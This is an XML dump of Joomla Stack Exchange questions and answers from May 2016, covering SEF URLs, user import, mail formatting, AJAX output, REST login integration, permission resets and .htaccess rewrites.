  <row Id="16672" PostTypeId="2" ParentId="16668" CreationDate="2016-05-25T22:08:28.323" Score="1" Body="&lt;p&gt;Depends on whether you use SEF extensions or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not - then all links are never cached.&#xA;How the links are generated: closest in hierarchy page that is assigned to menu item found, Joomla takes it URL and adds up aliasses of categories according to hierarchy, and article alias added at the end if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do: manage links(SEF URLs) with whatever extension you got - JoomSEF, sh404sef, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use multiple SEF extensions then you need to debug which of them is in control.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-25T22:08:28.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16673" PostTypeId="1" AcceptedAnswerId="16674" CreationDate="2016-05-25T23:55:36.933" Score="2" ViewCount="4178" Body="&lt;p&gt;Rather than having to enter a long list of new users manually, is there a free extension I can use to add new users from a CSV file?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-05-26T09:26:33.013" LastActivityDate="2016-05-26T09:26:33.013" Title="How do I import users from a CSV file for free?" Tags="|joomla-3.x|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16674" PostTypeId="2" ParentId="16673" CreationDate="2016-05-25T23:55:36.933" Score="1" Body="&lt;p&gt;&quot;Users Importer for J2XML&quot; is free and enables you to import users from a CSV file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/browse/new/extension/migration-a-conversion/users-import-a-export/users-importer-for-j2xml&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/browse/new/extension/migration-a-conversion/users-import-a-export/users-importer-for-j2xml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-05-25T23:55:36.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16675" PostTypeId="2" ParentId="16668" CreationDate="2016-05-26T02:43:29.180" Score="1" Body="&lt;p&gt;You can check two locations.&lt;br&gt;&#xA;First try check the category and subcategory on your content about-us was saved. &#xA;Second try check your menu item link to your file about-us. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla use this logical to create the sef urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-05-26T02:43:29.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16676" PostTypeId="2" ParentId="16666" CreationDate="2016-05-26T06:09:55.237" Score="1" Body="&lt;p&gt;You need also add columns to table in DB &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and may be you'll need to add code that will accept you field values and store then.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-26T06:09:55.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16678" PostTypeId="2" ParentId="16666" CreationDate="2016-05-26T07:07:57.737" Score="1" Body="&lt;p&gt;The first problem is the path, you need override the component from: &lt;strong&gt;your_site/components/com_contact&lt;/strong&gt;&#xA;not &lt;strong&gt;your_site/administrator/components/com_contact&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the code for the template must be in: &lt;strong&gt;your_site/templates/your_template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you have an example: &lt;br/&gt;&lt;a href=&quot;https://stackoverflow.com/questions/20586581/adding-fields-to-joomla-3-x-contact-component&quot;&gt;https://stackoverflow.com/questions/20586581/adding-fields-to-joomla-3-x-contact-component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possible solution is via plugin, find more info here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-05-26T07:07:57.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16679" PostTypeId="2" ParentId="9550" CreationDate="2016-05-26T08:24:38.837" Score="1" Body="&lt;p&gt;User → user groups → viewing access levels → new → select the user group viewing access → give the tittle press save.&#xA;Then go to the menu you want to set the viewing access level as you created one.&#xA;Make the alteration and press save.&lt;/p&gt;&#xA;" OwnerUserId="8440" LastActivityDate="2016-05-26T08:24:38.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16680" PostTypeId="2" ParentId="10732" CreationDate="2016-05-26T08:47:42.653" Score="0" Body="&lt;p&gt;Try to find and rename to anything (for example add &quot;_&quot;) folder at /libraries/cms/controller&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-26T08:47:42.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16681" PostTypeId="2" ParentId="15088" CreationDate="2016-05-26T10:58:33.070" Score="0" Body="&lt;p&gt;User → user groups → viewing access levels → new → select the user group viewing access → give the tittle press save.&#xA;Then go to the menu you want to set the viewing access level as you created one.&#xA;Make the alteration and press save.&#xA;Then go to the module → choose the particular menu → set the access as you created one.&#xA;Press save and close.&#xA;Now visit to the site the particular menu only visible on specified users.&lt;/p&gt;&#xA;" OwnerUserId="8440" LastActivityDate="2016-05-26T10:58:33.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16682" PostTypeId="1" CreationDate="2016-05-26T14:43:14.243" Score="3" ViewCount="1667" Body="&lt;p&gt;I followed &lt;a href=&quot;http://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Sending_email_from_extensions&lt;/a&gt; to send mails via Joomla!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'd like to send HTML and plain text mails, because not all users want to receive HTML-formatted mails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I set &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;isHTML(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all mails are sent as HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: How can I send mails as html &lt;strong&gt;and&lt;/strong&gt; plaintext with Joomla! ?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2017-11-07T07:04:59.447" Title="Use Joomla-Mailer to send mails in HTML and plaintext" Tags="|joomla-3.x|joomla-mail|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16683" PostTypeId="2" ParentId="16682" CreationDate="2016-05-26T15:41:55.643" Score="-2" Body="&lt;p&gt;You need to group users by preferences and depending on it send email with isHtml(true/false)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to include both versions in same email: just include plain text and HTML but mark it up right with MIME standard.&#xA;Here you can find how to do so &lt;a href=&quot;http://www.enewsletterpro.com/articles/multi_part_mime_messages.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.enewsletterpro.com/articles/multi_part_mime_messages.asp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2016-05-27T07:18:41.380" LastActivityDate="2016-05-27T07:18:41.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16684" PostTypeId="2" ParentId="10629" CreationDate="2016-05-26T15:54:16.650" Score="0" Body="&lt;p&gt;It can easily be just Chrome interpretation of 500 error code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your Joomla and server to do error reporting. And you might face your devil.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-26T15:54:16.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16685" PostTypeId="1" CreationDate="2016-05-26T17:24:51.427" Score="3" ViewCount="2681" Body="&lt;p&gt;I have read similar questions on this site, but none that I can find matches my problem closely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manage a joomla 3.5.1 site and I wrote a javascript that, when I press a button, sends a mail by asynchronously calling a php page that I placed on the joomla root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The php file echoes a result (&quot;Mail sent&quot; or the content of an exception, with a try/catch structure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the function works properly and the echo inside the catch runs (then exits).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;Mail sent&quot;;&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The AJAX call should set the inner html of a span to &quot;Mail sent&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ajax({&#xA;  url: 'phpname.php',&#xA;  type: 'POST',&#xA;  datatype: 'text',&#xA;  data: 'option=com_ajax&amp;amp;a1=mail&amp;amp;a2=from&amp;amp;a3=...',&#xA;  success: function(data){&#xA;    $('#container').html(data);&#xA;  }&#xA;  console.log(data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the datatype is text (I also tried json or html, with no discernible results), yet console.log gives me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML&amp;gt;&#xA;  &amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&#xA;    Mail sent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The html of the resulting div as seen in chrome inspector is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span&amp;gt;&#xA;&#xA;&#xA;&#xA;          Mail sent&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, when I implement an if/else inside the success part of ajax in order to color that text green if it is &quot;Mail sent&quot; and red otherwise, I always get red text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tested the php and js files outside joomla, they worked fine.&#xA;I used no option=com_ajax then, but apparently joomla needs it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I proceed?&lt;/p&gt;&#xA;" OwnerUserId="8451" LastActivityDate="2017-07-11T00:50:52.723" Title="Ajax call returns html baggage" Tags="|joomla-3.x|php|ajax|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16687" PostTypeId="1" CreationDate="2016-05-26T21:07:42.123" Score="2" ViewCount="2002" Body="&lt;p&gt;I need to integrate a Joomla website with a third party REST API. Let me try to clarify what I'm trying to do. Ideally when a user logs on to the Joomla website once they authenticate they will also be able to access another website, likely via a link on the Joomla site without having to login to this other site again.  There is a REST API for this other site that has various login methods such as a single user sign on, and that is what I'm thinking is what I would need to make a call to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm figuring it would work something like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User logs into the Joomla site, the user is authenticated by Joomla. Now once the user is authenticated by Joomla system, go call the REST API and authenticate with it, if authentication was good, store the proper information received back from the API, like the AUTH TOKEN and anything else required for login to other site, in perhaps the session variables or on the clients machine in a cookie to used when trying to access the other site. I'm not sure what is the correct way to make this work and any insight into how this is done in theory or in practice would be great. I have been looking for information but only seem to find a lot of people discussing how to have a REST API for your Joomla website and not a whole lot on how to connect to an external REST API from a Joomla site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon my searching for the proper way to go about this I assume it lies in either creating a plugin like the standard Joomla user authentication plugin and adding this functionality into it or creating a plugin that listens for the proper event. If I need to actually create a plugin that listens to events, I'm not sure yet if I need to listen for the onUserAuthenicate response or onUserLogin event. But I have a good feeling it is one of the two. I have some idea of how to use the curl library to talk to the API so I figure this how I would attempt it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight, examples or direction on how to do this would greatly be appreciated! Thanks! &lt;/p&gt;&#xA;" OwnerUserId="6973" LastActivityDate="2016-11-24T19:03:44.710" Title="How to leverage external JSON REST API in Joomla 3.5.1 after user login?" Tags="|authentication|plugin-events|curl|restful-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16690" PostTypeId="2" ParentId="16682" CreationDate="2016-05-26T21:56:25.293" Score="-3" Body="&lt;p&gt;Check out the JoomlaXTC Power Email component and take control over your system emails!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make your emails give a good impression and raise your brand awareness with attractive HTML styling and custom contents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Power Mail templates support multiple languages and can be used system wide or for specific components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Power Mail also allows you to alter specific emails content with your own layout including variable place holders and blind copies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need to edit cumbersome language files any more. Power Mail supports unlimited templates, unlimited overrides, multiple components, multiple languages and includes 27 built-in template variations to get you started along with a super-fast search tool to find language file constants and strings.&lt;/p&gt;&#xA;" OwnerUserId="8467" LastActivityDate="2016-05-26T21:56:25.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16692" PostTypeId="1" CreationDate="2016-05-26T22:02:17.807" Score="1" ViewCount="647" Body="&lt;p&gt;My goal is to &lt;strong&gt;calculate and show end date&lt;/strong&gt; based on my start date by date picker and doprdown to choose number of weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Jquery datetimepicker &lt;a href=&quot;http://xdsoft.net/jqplugins/datetimepicker/&quot; rel=&quot;nofollow&quot;&gt;http://xdsoft.net/jqplugins/datetimepicker/&lt;/a&gt; to select start date and dropdown to select number of weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using below codes to get the end date result but its not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  week_number_id.on('change', function(e) {&#xA;var selectvalue = $(this).val();&#xA;//Display 'loading' status in the target select list&#xA;date_result_id.html('&amp;lt;i class=&quot;uk-icon-spinner uk-icon-spin&quot;&amp;gt;&amp;lt;/i&amp;gt;');&#xA;if (selectvalue == '') &#xA;{&#xA;    date_result_id.html(initial_date_result_html);&#xA;} &#xA;else &#xA;{&#xA;    //Make AJAX request, using the selected value as the GET&#xA;    $.ajax({&#xA;        url: 'index.php',&#xA;        data:'option=com_mycom&amp;amp;task=getmydateHTML&amp;amp;dvalue='+selectvalue,&#xA;        success: function(output) {&#xA;            date_result_id.html(output);&#xA;            updateSelect(date_result_id.val());&#xA;        },&#xA;        error: function (xhr, ajaxOptions, thrownError) {&#xA;            alert(xhr.status +  ' ' + thrownError);&#xA;        }&#xA;    });&#xA;}&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function getmydateHTML() {&#xA;  $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;  $db = JFactory::getDbo();&#xA;  $query = $db-&amp;gt;getQuery(true);         &#xA;  $dt = $jinput-&amp;gt;get ('dvalue');&#xA;  $choosendate = $jinput-&amp;gt;get ('start_date');       &#xA;  $newdate = strtotime(&quot;+&quot;. $dt . &quot;week&quot;, $choosendate);&#xA;  echo   date('M d, Y', $newdate);     &#xA; exit; // this will stop Joomla processing, and not output template modules   etc.&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But after calculation result shows date starting from jan 01, 1970, weeks are increasing correctly but the code can not get the start date.&lt;/p&gt;&#xA;" OwnerUserId="7855" LastActivityDate="2017-08-19T04:40:35.583" Title="Calculate end date based on start date and duration" Tags="|joomla-3.x|component|jquery|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16693" PostTypeId="1" CreationDate="2016-05-27T04:22:55.100" Score="2" ViewCount="485" Body="&lt;p&gt;The banner module I am using for a single category of banners is not changing the display of the banners when the page is refreshed, they only change when the user navigates to a different page. All of the banners in the category are unpinned and they have no limits on their impressions. I have included a screenshot of the banner module parameters below. Caching is disabled for the module. Any idea why they are not changing upon refreshing the page? Visit &lt;a href=&quot;http://afca.ab.ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://afca.ab.ca&lt;/a&gt; to see the module and how it does not change on refresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xX0Cc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xX0Cc.png&quot; alt=&quot;banner module parameters&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2017-07-21T22:11:35.960" Title="Banner module not changing on refresh, only on page change" Tags="|module|com-banners|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16695" PostTypeId="1" CreationDate="2016-05-27T10:22:58.283" Score="0" ViewCount="72" Body="&lt;p&gt;Good Morning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a professional developer I use professional tools like Git to manage e.g. source files on the Server and other tools to manage Application-Settings, in this context Joomla-Website settings which are saved in the Database (and not content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any best practices for &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;manage source file versions during development&lt;/li&gt;&#xA;&lt;li&gt;deploy&lt;/li&gt;&#xA;&lt;li&gt;and managing configuration changes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;for Joomla Websites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for any help!&#xA;kind regards,&#xA;Thomas&lt;/p&gt;&#xA;" OwnerUserId="8468" LastEditorUserId="8468" LastEditDate="2016-05-29T13:48:54.373" LastActivityDate="2016-05-29T21:36:42.767" Title="Are there Joomla Website (not content!): Application lifecycle management best practices?" Tags="|joomla-3.x|development|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16696" PostTypeId="2" ParentId="16693" CreationDate="2016-05-27T10:55:28.693" Score="-1" Body="&lt;p&gt;Keep this point when you creating the banner:&#xA;1.select categories →create new category.&#xA;2. go to the components → banners → select the client → create a new client.&#xA;3.now goto banners → give the name for the banner → select image for the banner → specify height and width.&#xA;4.go to banner detail tab select the client name.&#xA;5.Then create the module for the Banner extensions → modules → new → Banners → give the name for the banner and select the client and category.&#xA;6.In randomize drop down box → select pinned,randomized.&#xA;Choose the position for the banner.&#xA;7.do the 3 rd step for creating another banners and press save and close.&#xA;Now visit the site refresh the page. now your banner get rotated .&lt;/p&gt;&#xA;" OwnerUserId="8440" LastActivityDate="2016-05-27T10:55:28.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16698" PostTypeId="2" ParentId="12393" CreationDate="2016-05-27T12:38:02.260" Score="1" Body="&lt;p&gt;1) Create and download a backup:&#xA;&lt;a href=&quot;http://www.ostraining.com/blog/joomla/test-site-akeeba-backup/&quot; rel=&quot;nofollow&quot;&gt;www.ostraining.com/blog/joomla/test-site-akeeba-backup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Fix your folder and file permission using Ad min Tools:&#xA;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/admin-tools-the-quick-and-easy-way-to-change-folder-and-file-permissions/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/joomla/admin-tools-the-quick-and-easy-way-to-change-folder-and-file-permissions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Download an update for your Joomla version:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.5.1/Joomla_3.5.1-Stable-Update_Package.zip&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/releases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then install it from Extensions &gt;&gt; Extension Manager , as you would an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Go to Extensions &gt;&gt; Extension Manager &gt;&gt; Database &gt;&gt; Fix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should reset all your core files to 3.4.1 as well as your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Clear your browser's cache as well as your site cache.&lt;/p&gt;&#xA;" OwnerUserId="8440" LastEditorUserId="115" LastEditDate="2016-05-27T14:01:54.243" LastActivityDate="2016-05-27T14:01:54.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16699" PostTypeId="2" ParentId="12393" CreationDate="2016-05-27T14:57:59.650" Score="0" Body="&lt;p&gt;Or simple run the sql&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;UPDATE #__assets SET rules = '{&quot;core.login.site&quot;:{&quot;6&quot;:1,&quot;2&quot;:1},&quot;core.login.admin&quot;:{&quot;6&quot;:1},&quot;core.login.offline&quot;:{&quot;6&quot;:1},&quot;core.admin&quot;:{&quot;8&quot;:1},&quot;core.manage&quot;:{&quot;7&quot;:1},&quot;core.create&quot;:{&quot;6&quot;:1,&quot;3&quot;:1},&quot;core.delete&quot;:{&quot;6&quot;:1},&quot;core.edit&quot;:{&quot;6&quot;:1,&quot;4&quot;:1},&quot;core.edit.state&quot;:{&quot;6&quot;:1,&quot;5&quot;:1},&quot;core.edit.own&quot;:{&quot;6&quot;:1,&quot;3&quot;:1}}' WHERE id = 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will reset you core permissions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and if this will not help - check if your Super Users group have &lt;code&gt;id = 8&lt;/code&gt; - it's default at &lt;code&gt;#__usergroups&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you may also check if your user in this user group by checking &lt;code&gt;#__user_usergroup_map&lt;/code&gt; table. Columns names speak for them selves.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-27T14:57:59.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16701" PostTypeId="1" CreationDate="2016-05-27T16:31:44.163" Score="0" ViewCount="364" Body="&lt;p&gt;upon creating a user in joomla i would need fields copied from jmla_users table to another jmla_new_users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jml_users - jmla_new_users &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with the following fields, (username,firstname,lastname,email)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i have no clue where i would add this in the joomla registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="7284" LastEditorUserId="8261" LastEditDate="2016-05-28T08:00:59.287" LastActivityDate="2016-06-27T08:42:48.367" Title="Copy user data into custom table on user registration" Tags="|php|registration|sql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16702" PostTypeId="2" ParentId="16695" CreationDate="2016-05-27T17:09:30.360" Score="0" Body="&lt;p&gt;Some useful resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://joomla.github.io/coding-standards/&quot; rel=&quot;nofollow&quot;&gt;Joomla! Coding Standards Manual.&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Development_Best_Practices&quot; rel=&quot;nofollow&quot;&gt;Development Best Practices.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines&quot; rel=&quot;nofollow&quot;&gt;Secure Coding Guidelines.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot; rel=&quot;nofollow&quot;&gt;Securing Joomla! Extensions.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Testing_Joomla_Extensions_with_Codeception#Best_Practices_at_Testing&quot; rel=&quot;nofollow&quot;&gt;Best Practices at Testing.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Unit_Testing_Best_Practices&quot; rel=&quot;nofollow&quot;&gt;Unit Testing Best Practices.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-05-27T17:32:01.520" LastActivityDate="2016-05-27T17:32:01.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16703" PostTypeId="2" ParentId="561" CreationDate="2016-05-27T22:59:49.133" Score="3" Body="&lt;p&gt;Check out Joomla extensions packager at &lt;a href=&quot;http://www.joomla-extensions-packager.org&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla-extensions-packager.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form is limited to 10 extensions, but you can use the library to generate unlimited package by simple php script (example is available at packager's github)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can use the form multiple times (recursively), as it supports package extension type, so its able to pack packages of more packages with many many extensions ;-)&lt;/p&gt;&#xA;" OwnerUserId="8472" LastActivityDate="2016-05-27T22:59:49.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16705" PostTypeId="2" ParentId="16687" CreationDate="2016-05-28T07:24:16.083" Score="1" Body="&lt;p&gt;You must use &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&quot; rel=&quot;nofollow&quot;&gt;onUserAfterLogin&lt;/a&gt; as this triggered after successful login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authenticate is called to verify login credentials (for example you can use it to block login for users with specific IP, or to create login with email &lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-28T07:24:16.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16706" PostTypeId="2" ParentId="16685" CreationDate="2016-05-28T07:40:26.017" Score="1" Body="&lt;p&gt;in your php file there should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_end_clean();&#xA;&#xA;header('Content-Type: application/json');&#xA;&#xA;echo json_encode($data);&#xA;&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you will clean output - warning and notices&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set encoding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;stop rendering further&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="3637" LastEditDate="2016-06-28T09:34:50.527" LastActivityDate="2016-06-28T09:34:50.527" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16707" PostTypeId="2" ParentId="16701" CreationDate="2016-05-28T07:58:42.503" Score="1" Body="&lt;p&gt;You can create plugin with user &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAfterSave&quot; rel=&quot;nofollow&quot;&gt;onUserAfterSave&lt;/a&gt; function and put users data in whichever table you need&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see example in /plugins/user/profile/profile.php&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-28T07:58:42.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16709" PostTypeId="1" CreationDate="2016-05-28T11:24:06.280" Score="0" ViewCount="645" Body="&lt;p&gt;I would like that .htaccess recognize string in my url and replace it with another.&#xA;Previously I used SEO components, but today I want to use Joomla native seo, and I have different structure of my url addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get folder1 replaced with folder3 automatically when browser try to access it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;www.domain.com/folder1/folder2/folder4/article-title-1&#xA;to&#xA;www.domain.com/folder3/folder2/folder4/article-title-1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any of the folder* doesn't exist on my server and links  are generated by Joomla menu structures with SEO configuration ON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to use code below but without success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/?folder1([a-z/.]*)$ /folder3$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7380" LastActivityDate="2018-07-18T13:52:54.493" Title=".htaccess recognize string and replace it" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
